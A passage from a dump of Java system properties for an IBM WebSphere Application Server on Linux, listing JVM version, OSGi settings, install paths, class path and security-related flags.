com.sun.deploy.appcontext,com.sun.deploy,com.sun.demo.jvmti.hprof,com.sun.corba.se.spi.transport, com.sun.corba.se.spi.servicecontext,com.sun.corba.se.spi.resolver,com.sun.corba.se.spi.protocol,com.sun.corba.se.spi.presentation.rmi, com.sun.corba.se.spi.orbutil.threadpool,com.sun.corba.se.spi.orbutil.proxy,com.sun.corba.se.spi.orbutil.fsm,com.sun.corba.se.spi.orbutil.closure, com.sun.corba.se.spi.orb,com.sun.corba.se.spi.oa,com.sun.corba.se.spi.monitoring,com.sun.corba.se.spi.logging, com.sun.corba.se.spi.legacy.interceptor,com.sun.corba.se.spi.legacy.connection,com.sun.corba.se.spi.ior.iiop,com.sun.corba.se.spi.ior, com.sun.corba.se.spi.extension,com.sun.corba.se.spi.encoding,com.sun.corba.se.spi.copyobject,com.sun.corba.se.spi.activation.RepositoryPackage, com.sun.corba.se.spi.activation.LocatorPackage,com.sun.corba.se.spi.activation.InitialNameServicePackage,com.sun.corba.se.spi.activation,com.sun.corba.se.pept.transport, com.sun.corba.se.pept.protocol,com.sun.corba.se.pept.encoding,com.sun.corba.se.pept.broker,com.sun.corba.se.org.omg.CORBA, com.sun.corba.se.internal.iiop,com.sun.corba.se.internal.corba,com.sun.corba.se.internal.POA,com.sun.corba.se.internal.Interceptors, com.sun.corba.se.internal.CosNaming,com.sun.corba.se.impl.util,com.sun.corba.se.impl.transport,com.sun.corba.se.impl.resolver, com.sun.corba.se.impl.protocol.giopmsgheaders,com.sun.corba.se.impl.protocol,com.sun.corba.se.impl.presentation.rmi,com.sun.corba.se.impl.orbutil.threadpool, com.sun.corba.se.impl.orbutil.graph,com.sun.corba.se.impl.orbutil.fsm,com.sun.corba.se.impl.orbutil.concurrent,com.sun.corba.se.impl.orbutil.closure, com.sun.corba.se.impl.orbutil,com.sun.corba.se.impl.orb,com.sun.corba.se.impl.oa.toa,com.sun.corba.se.impl.oa.poa, com.sun.corba.se.impl.oa,com.sun.corba.se.impl.naming.pcosnaming,com.sun.corba.se.impl.naming.namingutil,com.sun.corba.se.impl.naming.cosnaming, com.sun.corba.se.impl.monitoring,com.sun.corba.se.impl.logging,com.sun.corba.se.impl.legacy.connection,com.sun.corba.se.impl.javax.rmi.CORBA, com.sun.corba.se.impl.javax.rmi,com.sun.corba.se.impl.ior.iiop,com.sun.corba.se.impl.ior,com.sun.corba.se.impl.io, com.sun.corba.se.impl.interceptors,com.sun.corba.se.impl.encoding,com.sun.corba.se.impl.dynamicany,com.sun.corba.se.impl.corba, com.sun.corba.se.impl.copyobject,com.sun.corba.se.impl.activation,com.sun.codemodel.internal.writer,com.sun.codemodel.internal.util, com.sun.codemodel.internal.fmt,com.sun.codemodel.internal,com.sun.beans.decoder,com.sun.awt, com.sun.applet2.preloader.event,com.sun.applet2.preloader,com.sun.applet2,com.sun.activation.registries, com.sun.accessibility.internal.resources,com.oracle.net,com.ibm.xylem.types,com.ibm.xylem.res, com.ibm.xylem.parser,com.ibm.xylem.optimizers.partialeval,com.ibm.xylem.optimizers,com.ibm.xylem.interpreter, com.ibm.xylem.instructions,com.ibm.xylem.drivers,com.ibm.xylem.config,com.ibm.xylem.commandline, com.ibm.xylem.codegen.bcel,com.ibm.xylem.codegen,com.ibm.xylem.builders,com.ibm.xylem.annot.meta, com.ibm.xylem.annot,com.ibm.xylem,com.ibm.xtq.xslt.xylem.xpath20.typesystem,com.ibm.xtq.xslt.xylem.xpath20.parser, com.ibm.xtq.xslt.xylem.xpath20.analysis,com.ibm.xtq.xslt.xylem.types,com.ibm.xtq.xslt.xylem.partialeval,com.ibm.xtq.xslt.xylem.parser, com.ibm.xtq.xslt.xylem.output.nodeset,com.ibm.xtq.xslt.xylem.optimizers,com.ibm.xtq.xslt.xylem.interpreter,com.ibm.xtq.xslt.xylem.instructions.number, com.ibm.xtq.xslt.xylem.instructions.nodeconstructors,com.ibm.xtq.xslt.xylem.instructions.nametable,com.ibm.xtq.xslt.xylem.instructions.debug,com.ibm.xtq.xslt.xylem.instructions, com.ibm.xtq.xslt.xylem.codegen,com.ibm.xtq.xslt.xylem.autof,com.ibm.xtq.xslt.xylem,com.ibm.xtq.xslt.typechecker.v2, com.ibm.xtq.xslt.typechecker.v1.types,com.ibm.xtq.xslt.typechecker.v1,com.ibm.xtq.xslt.typechecker,com.ibm.xtq.xslt.translator.v2, com.ibm.xtq.xslt.translator.v1,com.ibm.xtq.xslt.translator,com.ibm.xtq.xslt.runtime.v2,com.ibm.xtq.xslt.runtime.res, com.ibm.xtq.xslt.runtime.extensions,com.ibm.xtq.xslt.runtime.debug,com.ibm.xtq.xslt.res,com.ibm.xtq.xslt.jaxp.interpreter, com.ibm.xtq.xslt.drivers,com.ibm.xtq.xslt.cmdline.utils,com.ibm.xtq.xslt.cmdline,com.ibm.xtq.xslt, com.ibm.xtq.xpath.jaxp.v2,com.ibm.xtq.xpath.jaxp.v1,com.ibm.xtq.xpath.jaxp,com.ibm.xtq.xml.xdm.res, com.ibm.xtq.xml.xdm.ref,com.ibm.xtq.xml.xdm.dom,com.ibm.xtq.xml.xcollator,com.ibm.xtq.xml.utils, com.ibm.xtq.xml.unicode.normalize,com.ibm.xtq.xml.types,com.ibm.xtq.xml.res,com.ibm.xtq.xml.experimental, com.ibm.xtq.xml.dtm.utils,com.ibm.xtq.xml.dtm.ref.xlxp2dtm,com.ibm.xtq.xml.dtm.ref.sax2dtm,com.ibm.xtq.xml.dtm.ref, com.ibm.xtq.xml.dtm,com.ibm.xtq.xml.datamodel,com.ibm.xtq.utils,com.ibm.xtq.scontext, com.ibm.xtq.common.utils.res,com.ibm.xtq.common.utils,com.ibm.xtq.bcel.verifier.structurals,com.ibm.xtq.bcel.verifier.statics, com.ibm.xtq.bcel.verifier.exc,com.ibm.xtq.bcel.verifier,com.ibm.xtq.bcel.util,com.ibm.xtq.bcel.generic, com.ibm.xtq.bcel.classfile,com.ibm.xtq.bcel,com.ibm.xtq.ast.visit,com.ibm.xtq.ast.res, com.ibm.xtq.ast.parsers.xpath.tempconstructors,com.ibm.xtq.ast.parsers.xpath.factories,com.ibm.xtq.ast.parsers.xpath,com.ibm.xtq.ast.nodes, com.ibm.xtq.ast,com.ibm.xtq,com.ibm.xml.xlxp.api.stax.serializer,com.ibm.xml.xlxp.api.stax.events, com.ibm.xml.xlxp.api.sax.impl.parser,com.ibm.xml.xlxp.api.jaxp.impl,com.ibm.xml.xlxp.api.event,com.ibm.xml.resolver.tools, com.ibm.xml.resolver.readers,com.ibm.xml.resolver.helpers,com.ibm.xml.resolver.apps,com.ibm.xml.resolver, com.ibm.xml.jaxp.datatype,com.ibm.xml.enc.dom,com.ibm.xml.crypto.util,com.ibm.xml.crypto.spi, com.ibm.xml.crypto.dsig.gss,com.ibm.xml.crypto.dsig.dom.transform,com.ibm.xml.crypto.dsig.dom,com.ibm.xml.crypto.dsig, com.ibm.ws.compression,com.ibm.tools.rmic.iiop,com.ibm.tools.attach.spi,com.ibm.tools.attach, com.ibm.stax,com.ibm.som.idlemit,com.ibm.som.cff,com.ibm.security.util.text.resources, com.ibm.security.tools,com.ibm.security.smime.jmail,com.ibm.security.smime,com.ibm.security.sequence.bytes, com.ibm.security.sequence,com.ibm.security.sasl.util,com.ibm.security.sasl.ntlm,com.ibm.security.sasl.gsskerb, com.ibm.security.sasl.digest,com.ibm.security.pkcs5,com.ibm.security.pkcs10,com.ibm.security.pkcs1, com.ibm.security.ntlm,com.ibm.security.krb5.internal.util,com.ibm.security.krb5.internal.tools,com.ibm.security.krb5.internal.rcache, com.ibm.security.krb5.internal.ktab,com.ibm.security.krb5.internal.crypto,com.ibm.security.krb5.internal.ccache,com.ibm.security.krb5.internal, com.ibm.security.keystoreutil,com.ibm.security.keystoreski,com.ibm.security.jgss.spi,com.ibm.security.jgss.mech.krb5, com.ibm.security.jgss.i18n,com.ibm.security.crmf,com.ibm.security.cmputil,com.ibm.security.cmp, com.ibm.security.certclient.util,com.ibm.security.certclient.fmt,com.ibm.security.certclient.beans,com.ibm.security.certclient.base, com.ibm.security.certclient,com.ibm.security.cert.ldap,com.ibm.security.auth.module,com.ibm.security.auth.login, com.ibm.security.auth.callback,com.ibm.security,com.ibm.securerandom.provider,com.ibm.rmi.poa, com.ibm.rmi.channel.orb,com.ibm.oti.reflect,com.ibm.org.omg.SendingContext.CodeBasePackage,com.ibm.org.omg.SendingContext, com.ibm.org.omg.CORBA.ValueDefPackage,com.ibm.org.omg.CORBA,com.ibm.nio,com.ibm.net.ssl.www2.protocol.https, com.ibm.misc.resources,com.ibm.math,com.ibm.le.conditionhandling,com.ibm.keymanager.util.a, com.ibm.keymanager.util,com.ibm.keymanager.transport.b,com.ibm.keymanager.transport.a,com.ibm.keymanager.transport, com.ibm.keymanager.tools,com.ibm.keymanager.logic,com.ibm.keymanager.keystore,com.ibm.keymanager.keygroups.b, com.ibm.keymanager.keygroups.a,com.ibm.keymanager.keygroups,com.ibm.keymanager.i18n,com.ibm.keymanager.drivetable.a, com.ibm.keymanager.drivetable,com.ibm.keymanager.datacollection,com.ibm.keymanager.config,com.ibm.keymanager.b, com.ibm.keymanager.audit.a,com.ibm.keymanager.audit,com.ibm.keymanager.admin.cli,com.ibm.keymanager.admin, com.ibm.keymanager.a,com.ibm.keymanager,com.ibm.jvm.trace.format.api,com.ibm.jvm.trace, com.ibm.jvm.j9.dump.systemdump,com.ibm.jvm.j9.dump.saxhandler,com.ibm.jvm.j9.dump.indexsupport,com.ibm.jvm.j9.dump.extract, com.ibm.jvm.j9.dump.commandconsole,com.ibm.jvm.j9.dump.command.trace,com.ibm.jvm.j9.dump.command.heapdump,com.ibm.jvm.j9.dump.command, com.ibm.jvm.heapdump.portableheapdump,com.ibm.jvm.heapdump.classicheapdump,com.ibm.jvm.heapdump,com.ibm.jvm.format, com.ibm.jvm.dtfjview.heapdump.portable,com.ibm.jvm.dtfjview.heapdump.classic,com.ibm.jvm.dtfjview.heapdump,com.ibm.jvm.dtfjview.commands.xcommands, com.ibm.jvm.dtfjview.commands.showcommands,com.ibm.jvm.dtfjview.commands.setcommands,com.ibm.jvm.dtfjview.commands.infocommands,com.ibm.jvm.dtfjview.commands.helpers, com.ibm.jvm.dtfjview.commands,com.ibm.jvm.dtfjview,com.ibm.jtc.orb.nio,com.ibm.jtc.orb.iiop, com.ibm.jtc.orb.asynch,com.ibm.jsse2.krb5,com.ibm.jsse2.a,com.ibm.java.diagnostics.plugins, com.ibm.java.diagnostics.healthcenter.agent.mbean,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.methoddictionary,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.memory,com.ibm.java.diagnostics.healthcenter.agent.dataproviders.environment, com.ibm.java.diagnostics.healthcenter.agent.dataproviders.capabilities,com.ibm.java.diagnostics.healthcenter.agent.dataproviders,com.ibm.java.diagnostics.healthcenter.agent,com.ibm.java.diagnostics.commands, com.ibm.java.diagnostics.collector.healthcenter.version,com.ibm.java.diagnostics.collector,com.ibm.java.diagnostics,com.ibm.j9ddr.vm26.view.dtfj.java.j9, com.ibm.j9ddr.vm26.view.dtfj.java.corrupt,com.ibm.j9ddr.vm26.view.dtfj.java,com.ibm.j9ddr.vm26.view.dtfj,com.ibm.j9ddr.vm26.types, com.ibm.j9ddr.vm26.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm26.tools.ddrinteractive.structureformat.base,com.ibm.j9ddr.vm26.tools.ddrinteractive.commands,com.ibm.j9ddr.vm26.tools.ddrinteractive, com.ibm.j9ddr.vm26.pointer.helper,com.ibm.j9ddr.vm26.pointer.generated,com.ibm.j9ddr.vm26.pointer,com.ibm.j9ddr.vm26.j9.walkers, com.ibm.j9ddr.vm26.j9.stackwalker,com.ibm.j9ddr.vm26.j9.stackmap,com.ibm.j9ddr.vm26.j9.gc,com.ibm.j9ddr.vm26.j9, com.ibm.j9ddr.vm26.events,com.ibm.j9ddr.vm24.view.dtfj.java.j9,com.ibm.j9ddr.vm24.view.dtfj.java.corrupt,com.ibm.j9ddr.vm24.view.dtfj.java, com.ibm.j9ddr.vm24.view.dtfj,com.ibm.j9ddr.vm24.types,com.ibm.j9ddr.vm24.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm24.tools.ddrinteractive.structureformat.base, com.ibm.j9ddr.vm24.tools.ddrinteractive.commands,com.ibm.j9ddr.vm24.tools.ddrinteractive,com.ibm.j9ddr.vm24.pointer.helper,com.ibm.j9ddr.vm24.pointer.generated, com.ibm.j9ddr.vm24.pointer,com.ibm.j9ddr.vm24.j9.walkers,com.ibm.j9ddr.vm24.j9.stackwalker,com.ibm.j9ddr.vm24.j9.stackmap, com.ibm.j9ddr.vm24.j9.gc,com.ibm.j9ddr.vm24.j9,com.ibm.j9ddr.vm24.events,com.ibm.j9ddr.vm23.view.dtfj.java.j9, com.ibm.j9ddr.vm23.view.dtfj.java.corrupt,com.ibm.j9ddr.vm23.view.dtfj.java,com.ibm.j9ddr.vm23.view.dtfj,com.ibm.j9ddr.vm23.types, com.ibm.j9ddr.vm23.tools.ddrinteractive.structureformat.extensions,com.ibm.j9ddr.vm23.tools.ddrinteractive.structureformat.base,com.ibm.j9ddr.vm23.tools.ddrinteractive.commands,com.ibm.j9ddr.vm23.tools.ddrinteractive, com.ibm.j9ddr.vm23.pointer.helper,com.ibm.j9ddr.vm23.pointer.generated,com.ibm.j9ddr.vm23.pointer,com.ibm.j9ddr.vm23.j9.walkers, com.ibm.j9ddr.vm23.j9.stackwalker,com.ibm.j9ddr.vm23.j9.stackmap,com.ibm.j9ddr.vm23.j9.gc,com.ibm.j9ddr.vm23.j9, com.ibm.j9ddr.vm23.events,com.ibm.j9ddr.view.dtfj.java.helper,com.ibm.j9ddr.view.dtfj.java,com.ibm.j9ddr.view.dtfj.image, com.ibm.j9ddr.view.dtfj,com.ibm.j9ddr.util,com.ibm.j9ddr.tools.xml,com.ibm.j9ddr.tools.store, com.ibm.j9ddr.tools.logging,com.ibm.j9ddr.tools.ddrinteractive.plugins,com.ibm.j9ddr.tools.ddrinteractive.commands,com.ibm.j9ddr.tools.ddrinteractive.annotations, com.ibm.j9ddr.tools.ddrinteractive,com.ibm.j9ddr.tools.ant.tasks,com.ibm.j9ddr.tools.ant,com.ibm.j9ddr.tools, com.ibm.j9ddr.logging,com.ibm.j9ddr.libraries,com.ibm.j9ddr.exceptions,com.ibm.j9ddr.events, com.ibm.j9ddr.corereaders.tdump.zebedee.util,com.ibm.j9ddr.corereaders.tdump.zebedee.mvs,com.ibm.j9ddr.corereaders.tdump.zebedee.le,com.ibm.j9ddr.corereaders.tdump.zebedee.dumpreader, com.ibm.j9ddr.corereaders.tdump,com.ibm.j9ddr.corereaders.osthread,com.ibm.j9ddr.corereaders.minidump,com.ibm.j9ddr.corereaders.memory, com.ibm.j9ddr.corereaders.elf,com.ibm.j9ddr.corereaders.debugger,com.ibm.j9ddr.corereaders.aix,com.ibm.j9ddr.corereaders, com.ibm.j9ddr.command,com.ibm.j9ddr,com.ibm.idl.toJavaPortable,com.ibm.idl.constExpr, com.ibm.idl,com.ibm.gsk.ikeyman.util,com.ibm.gsk.ikeyman.sequence.bytes,com.ibm.gsk.ikeyman.sequence, com.ibm.gsk.ikeyman.messages,com.ibm.gsk.ikeyman.keystore.ext,com.ibm.gsk.ikeyman.keystore.entry,com.ibm.gsk.ikeyman.keystore, com.ibm.gsk.ikeyman.io,com.ibm.gsk.ikeyman.gui.panels,com.ibm.gsk.ikeyman.gui.controls,com.ibm.gsk.ikeyman.gui, com.ibm.gsk.ikeyman.event,com.ibm.gsk.ikeyman.error,com.ibm.gsk.ikeyman.command.password,com.ibm.gsk.ikeyman.command.gui, com.ibm.gsk.ikeyman.command.cli,com.ibm.gsk.ikeyman.command,com.ibm.gsk.ikeyman.certrequest.cmscertrequest,com.ibm.gsk.ikeyman.certrequest, com.ibm.gsk.ikeyman,com.ibm.dtfj.runtime,com.ibm.dtfj.phd.util,com.ibm.dtfj.phd.parser, com.ibm.dtfj.phd,com.ibm.dtfj.javacore.parser.j9.section.title,com.ibm.dtfj.javacore.parser.j9.section.thread,com.ibm.dtfj.javacore.parser.j9.section.stack, com.ibm.dtfj.javacore.parser.j9.section.platform,com.ibm.dtfj.javacore.parser.j9.section.nativememory,com.ibm.dtfj.javacore.parser.j9.section.monitor,com.ibm.dtfj.javacore.parser.j9.section.memory, com.ibm.dtfj.javacore.parser.j9.section.environment,com.ibm.dtfj.javacore.parser.j9.section.common,com.ibm.dtfj.javacore.parser.j9.section.classloader,com.ibm.dtfj.javacore.parser.j9.registered, com.ibm.dtfj.javacore.parser.j9,com.ibm.dtfj.javacore.parser.framework.tag,com.ibm.dtfj.javacore.parser.framework.scanner,com.ibm.dtfj.javacore.parser.framework.parser, com.ibm.dtfj.javacore.parser.framework.input,com.ibm.dtfj.javacore.parser.framework,com.ibm.dtfj.javacore.builder.javacore,com.ibm.dtfj.javacore.builder, com.ibm.dtfj.java.javacore,com.ibm.dtfj.java.j9,com.ibm.dtfj.java,com.ibm.dtfj.image.javacore, com.ibm.dtfj.image.j9.corrupt,com.ibm.dtfj.image.j9,com.ibm.dtfj.image,com.ibm.dtfj.corereaders.zos.util, com.ibm.dtfj.corereaders.zos.mvs,com.ibm.dtfj.corereaders.zos.le,com.ibm.dtfj.corereaders.zos.dumpreader,com.ibm.dtfj.corereaders.j9, com.ibm.dtfj.corereaders,com.ibm.dtfj.binaryreaders,com.ibm.dtfj.addressspace,com.ibm.crypto.tools, com.ibm.crypto.provider.safkeyring,com.ibm.crypto.pkcs11impl.module,com.ibm.crypto.fips.provider,com.ibm.compat, com.ibm.bidiTools.bdlayout,com.ibm.amino.refq,com.ibm.CosNaming,com.ibm.CORBA.nio, com.ibm.CORBA,com.ibm +com.ibm.debug.service.register.method: registerElement +java.lang.stringBuffer.growAggressively: false +sun.font.fontmanager: sun.awt.X11FontManager +java.awt.headless: true +java.endorsed.dirs: /opt/IBM/WebSphere/AppServer/endorsed_apis:/opt/IBM/WebSphere/AppServer/java/jre/lib/endorsed +com.ibm.jsse2.sp800-131: +osgi.bundlestore: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/org.eclipse.osgi/bundles +java.fullversion: 8.0.8.5 - pxa6480sr8fp5-20230418_01(SR8 FP5) +JRE 1.8.0 Linux amd64-64-Bit Compressed References 20230417_49632 (JIT enabled, AOT enabled) +OpenJ9 - 085a542 +OMR - 9f28c98 +IBM - 68444b7 +was.repository.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config +java.vendor.url: http://www.ibm.com +osgi.resolver.preferSystemPackages: false +java.version: 1.8.0_371 +osgi.os: linux +com.ibm.oti.shared.enabled: true +osgi.splashPath: platform:/base/plugins/org.eclipse.platform +editionSupport: false +com.ibm.oti.vm.library.version: 29 +os.encoding: ANSI_X3.4-1968 +java.protocol.handler.pkgs: com.ibm.net.ssl.www2.protocol|com.ibm.ws.protocol|com.ibm.net.ssl.internal.www.protocol|com.ibm.crypto.provider +com.ibm.jsse2.checkRevocation: false +com.ibm.SOAP.requestTimeout: 600 +user.name: was +org.osgi.framework.version: 1.5.0 +sun.io.unicode.encoding: UnicodeLittle +org.osgi.framework.system.packages: javax.accessibility,javax.activation,javax.activity,javax.annotation,javax.annotation.processing,javax.annotation.security,javax.annotation.sql,javax.crypto,javax.crypto.interfaces,javax.crypto.spec,javax.imageio,javax.imageio.event,javax.imageio.metadata,javax.imageio.plugins.bmp,javax.imageio.plugins.jpeg,javax.imageio.spi,javax.imageio.stream,javax.jws,javax.jws.soap,javax.lang.model,javax.lang.model.element,javax.lang.model.type,javax.lang.model.util,javax.management,javax.management.loading,javax.management.modelmbean,javax.management.monitor,javax.management.openmbean,javax.management.relation,javax.management.remote,javax.management.remote.rmi,javax.management.timer,javax.naming,javax.naming.directory,javax.naming.event,javax.naming.ldap,javax.naming.spi,javax.net,javax.net.ssl,javax.print,javax.print.attribute,javax.print.attribute.standard,javax.print.event,javax.rmi,javax.rmi.CORBA,javax.rmi.ssl,javax.script,javax.security.auth,javax.security.auth.callback,javax.security.auth.kerberos,javax.security.auth.login,javax.security.auth.spi,javax.security.auth.x500,javax.security.cert,javax.security.sasl,javax.sound.midi,javax.sound.midi.spi,javax.sound.sampled,javax.sound.sampled.spi,javax.sql,javax.sql.rowset,javax.sql.rowset.serial,javax.sql.rowset.spi,javax.swing,javax.swing.border,javax.swing.colorchooser,javax.swing.event,javax.swing.filechooser,javax.swing.plaf,javax.swing.plaf.basic,javax.swing.plaf.metal,javax.swing.plaf.multi,javax.swing.plaf.nimbus,javax.swing.plaf.synth,javax.swing.table,javax.swing.text,javax.swing.text.html,javax.swing.text.html.parser,javax.swing.text.rtf,javax.swing.tree,javax.swing.undo,javax.tools,javax.transaction,javax.transaction.xa,javax.xml,javax.xml.bind,javax.xml.bind.annotation,javax.xml.bind.annotation.adapters,javax.xml.bind.attachment,javax.xml.bind.helpers,javax.xml.bind.util,javax.xml.crypto,javax.xml.crypto.dom,javax.xml.crypto.dsig,javax.xml.crypto.dsig.dom,javax.xml.crypto.dsig.keyinfo,javax.xml.crypto.dsig.spec,javax.xml.datatype,javax.xml.namespace,javax.xml.parsers,javax.xml.soap,javax.xml.stream,javax.xml.stream.events,javax.xml.stream.util,javax.xml.transform,javax.xml.transform.dom,javax.xml.transform.sax,javax.xml.transform.stax,javax.xml.transform.stream,javax.xml.validation,javax.xml.ws,javax.xml.ws.handler,javax.xml.ws.handler.soap,javax.xml.ws.http,javax.xml.ws.soap,javax.xml.ws.spi,javax.xml.ws.spi.http,javax.xml.ws.wsaddressing,javax.xml.xpath,org.ietf.jgss,org.omg.CORBA,org.omg.CORBA_2_3,org.omg.CORBA_2_3.portable,org.omg.CORBA.DynAnyPackage,org.omg.CORBA.ORBPackage,org.omg.CORBA.portable,org.omg.CORBA.TypeCodePackage,org.omg.CosNaming,org.omg.CosNaming.NamingContextExtPackage,org.omg.CosNaming.NamingContextPackage,org.omg.Dynamic,org.omg.DynamicAny,org.omg.DynamicAny.DynAnyFactoryPackage,org.omg.DynamicAny.DynAnyPackage,org.omg.IOP,org.omg.IOP.CodecFactoryPackage,org.omg.IOP.CodecPackage,org.omg.Messaging,org.omg.PortableInterceptor,org.omg.PortableInterceptor.ORBInitInfoPackage,org.omg.PortableServer,org.omg.PortableServer.CurrentPackage,org.omg.PortableServer.POAManagerPackage,org.omg.PortableServer.POAPackage,org.omg.PortableServer.portable,org.omg.PortableServer.ServantLocatorPackage,org.omg.SendingContext,org.omg.stub.java.rmi,org.w3c.dom,org.w3c.dom.bootstrap,org.w3c.dom.css,org.w3c.dom.events,org.w3c.dom.html,org.w3c.dom.ls,org.w3c.dom.ranges,org.w3c.dom.stylesheets,org.w3c.dom.traversal,org.w3c.dom.views,org.w3c.dom.xpath,org.xml.sax,org.xml.sax.ext,org.xml.sax.helpers +sun.jnu.encoding: ANSI_X3.4-1968 +java.runtime.name: Java(TM) SE Runtime Environment +com.ibm.jcl.checkClassPath: +ibm.system.encoding: ANSI_X3.4-1968 +osgi.instance.area.default: file:/home/was/workspace/ +java.specification.name: Java Platform API Specification +org.osgi.supports.framework.fragment: true +user.timezone: UTC +osgi.nl: en_US +java.awt.fonts: +path.separator: : +java.util.logging.manager: com.ibm.ws.bootstrap.WsLogManager +file.encoding: ANSI_X3.4-1968 +osgi.arch: x86_64 +javax.security.auth.useAllCreds: true +com.ibm.oti.configuration: scar +sun.java.command: com.ibm.wsspi.bootstrap.WSPreLauncher -nosplash -application com.ibm.ws.bootstrap.WSLauncher com.ibm.ws.runtime.WsServer /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config DefaultCell01 DefaultNode01 server1 +excludeSteps: EditionOptions +org.osgi.supports.framework.requirebundle: true +FFDCProcessLevel: 4 +com.ibm.jsse2.suiteB: +osgi.bundles: com.ibm.cds,com.ibm.ws.eclipse.adaptors,reference:file:org.eclipse.equinox.common_.jar@2:start, reference:file:com.ibm.ws.bootstrap.provisioner.jar@3:start, reference:file:org.eclipse.core.runtime_.jar@start +java.io.tmpdir: /tmp +org.osgi.framework.os.name: Linux +user.language: en +eof: eof +line.separator: + +com.ibm.fips.mode: 140-2 +org.osgi.framework.processor: x86-64 +java.security.auth.login.config: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/wsjaas.conf +com.ibm.wsspi.runtime.ThreadPoolRepositoryName: com.ibm.ws.runtime.WSThreadPoolRepository +com.ibm.itp.location: /opt/IBM/WebSphere/AppServer/bin +com.ibm.security.enableCRLDP: false +java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20230417_49632 (JIT enabled, AOT enabled) +OpenJ9 - 085a542 +OMR - 9f28c98 +IBM - 68444b7 +osgi.manifest.cache: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/org.eclipse.osgi/manifests +sun.java.launcher.pid: 583 +java.vm.specification.name: Java Virtual Machine Specification +com.ibm.wsspi.ecs.module.ModuleFactory: com.ibm.ws.ecs.internal.wtp.module.impl.WTPModuleFactory +com.ibm.security.krb5.Krb5Debug: off +java.naming.provider.url: corbaloc:rir:/NameServiceServerRoot +FFDCLogDirectory: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/ffdc +com.ibm.cpu.endian: little +osgi.signature.support.verify: false +osgi.configuration.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/servers/server1/configuration/ +java.awt.printerjob: sun.print.PSPrinterJob +provision.exclude.local.repository: true +com.ibm.util.extralibs.properties: +osgi.ws: gtk +com.ibm.xtq.processor.overrideSecureProcessing: true +org.osgi.supports.framework.extension: true +osgi.framework.extensions: com.ibm.cds,com.ibm.ws.eclipse.adaptors +osgi.parentClassloader: app +org.osgi.framework.language: en +os.name: Linux +eclipse.home.location: file:/opt/IBM/WebSphere/AppServer/ +java.specification.vendor: Oracle Corporation +com.ibm.fips.home: /opt/IBM/WebSphere/AppServer/java/jre +java.vm.name: IBM J9 VM +eclipse.buildId: M20060921-0945 +java.library.path: /opt/IBM/WebSphere/AppServer/lib/native/linux/x86_64/:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64:/opt/IBM/WebSphere/AppServer/bin:/opt/IBM/WebSphere/AppServer/nulldllsdir:/usr/lib64:/usr/lib: +eclipse.commands: -nosplash +-application +com.ibm.ws.bootstrap.WSLauncher + +java.class.version: 52.0 +osgi.syspath: /opt/IBM/WebSphere/AppServer/plugins +java.compiler: j9jit29 +server.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +com.ibm.security.enableNULLCRLDP: true +osgi.instance.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/2078140000/ +osgi.install.area: file:/opt/IBM/WebSphere/AppServer/ +sun.boot.library.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64 +osgi.checkConfiguration: false +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +user.variant: +was.status.socket: 41411 +user.install.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +osgi.classloader.lock: classname +java.vm.specification.version: 1.8 +awt.toolkit: sun.awt.X11.XToolkit +java.ext.dirs: /opt/IBM/WebSphere/AppServer/tivoli/tam:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext:/opt/IBM/WebSphere/AppServer/java/jre/fips140-2/lib/ext +osgi.framework.version: 3.6.1.R36x_v20100806 +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.ibm.ejs.jts.processType: server +user.home: /home/was +java.vm.vendor: IBM Corporation +python.cachedir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/cachedir +com.ibm.ws.jsp.taglib.annotation.AnnotationHandler: com.ibm.ws.jsp.annotation.WASAnnotationHandler +com.ibm.jsse2.usefipsprovider: false +user.dir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +org.osgi.framework.os.version: 6.14.10 +osgi.framework.shape: jar +com.ibm.vm.bitmode: 64 +was.repository.temp: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/temp/ +osgi.noLazyStateLoading: true +sun.cpu.endian: little +com.ibm.security.jgss.debug: off +java.util.logging.configureByServer: true +eclipse.startTime: 1754838198852 +java.vm.version: 2.9 +java.class.path: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties:/opt/IBM/WebSphere/AppServer/properties:/opt/IBM/WebSphere/AppServer/lib/startup.jar:/opt/IBM/WebSphere/AppServer/lib/bootstrap.jar:/opt/IBM/WebSphere/AppServer/lib/lmproxy.jar:/opt/IBM/WebSphere/AppServer/lib/urlprotocols.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batchboot.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batch2.jar:/opt/IBM/WebSphere/AppServer/java/lib/tools.jar +javax.rmi.CORBA.UtilClass: com.ibm.ws.orb.WSUtilDelegateImpl +os.arch: amd64 +ws.ext.dirs: /opt/IBM/WebSphere/AppServer/java/lib:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/classes:/opt/IBM/WebSphere/AppServer/classes:/opt/IBM/WebSphere/AppServer/lib:/opt/IBM/WebSphere/AppServer/installedChannels:/opt/IBM/WebSphere/AppServer/lib/ext:/opt/IBM/WebSphere/AppServer/web/help:/opt/IBM/WebSphere/AppServer/deploytool/itp/plugins/com.ibm.etools.ejbdeploy/runtime +sun.java.launcher: SUN_STANDARD +java.specification.maintenance.version: 4 +org.osgi.framework.vendor: Eclipse +was.debug.mode: true +osgi.tracefile: 